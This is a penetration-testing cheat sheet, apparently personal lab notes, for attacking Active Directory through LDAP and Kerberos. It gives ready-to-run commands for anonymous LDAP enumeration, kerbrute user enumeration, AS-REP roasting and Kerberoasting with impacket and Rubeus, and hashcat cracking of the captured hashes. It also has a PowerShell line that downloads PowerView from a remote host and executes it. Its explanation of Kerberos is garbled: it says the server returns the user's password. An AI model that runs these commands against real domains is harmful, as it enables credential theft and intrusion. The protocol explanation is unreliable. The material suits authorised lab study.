Kerberos

Kerberos is an authentication mechanism protocol used by LDAP (basically Active Directory) we can test for anonymous LDAP queries binds and enumerate users and can perform other attacks

Anonymous Binds

  • When LDAP and Kerberos ports are open, it's always a best practice to check for anonymous binds. When anonyomous binds are enabled, we can query information about the users and information about them. Sometimes the sysadmins tend to leave the user's password in their description section which will be a quick win if anonymous binds are enabled
ldapsearch -h $ip -x -s base namingcontexts
ldapsearch -h $ip -x -b "DC=domain,DC=tld" > ldap-anonymous
ldapsearch -h $ip -x -b "DC=domain,DC=tld" '(objectClass=person)' > ldap-people
Machine: Cascade - Here​

Kerberos Attacks

ASREPRoasting

Long story short,
Kerberos authentication mechanism works by encrypting the timestamp with the user's password. And sending that encrypted timestamp to the server. The server decrypts the timestamp with the user's password and sends back a request with the user's password.
The request sent by the server with the user's password is known as ASRESPonse. This ticket can be cracked offline to obtain the password of the user.
Fully Explained ( Youtube ) : Here​
  • Try to enumerate user names as much as possible
  • With the usernames try to generate the usernames with username-anarchy​
  • Once the valid usernames are obtained try to identify the valid usernames with kerbrute​
kerbrute userenum -d domain.tld usernames.txt | tee kerb.out
​
# users.txt --> the [email protected] section from the kerb.out
  • Once the valid usernames are identified perform ASREPRoasting
impacket-GetNPUsers -usersfile users.txt domain.tld/ -outputfile getnpusers.txt
  • With the obtained hash, the password for the user can be obtained by cracking with hashcat / john
hashcat -m 18200 getnpusers.txt /usr/share/wordlists/rockyou.txt

Kerberoasting

To perform kerberoasting a valid user credentials is required / an access to the machine is required

From Linux

impacket-GetUserSPN domain.tld/username:[email protected]$ip -dc-ip $ip -outputfile kerberoasting.hash

From Windows

# With powerview
iex(iwr -uri http://10.10.10.29/PowerView.ps1 -usebasicparsing)
Get-NetUser -SPN
​
# Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoasting.hash

Cracking

hashcat -m 13100 kerberoasting.hash /usr/share/wordlists/rockyou.txt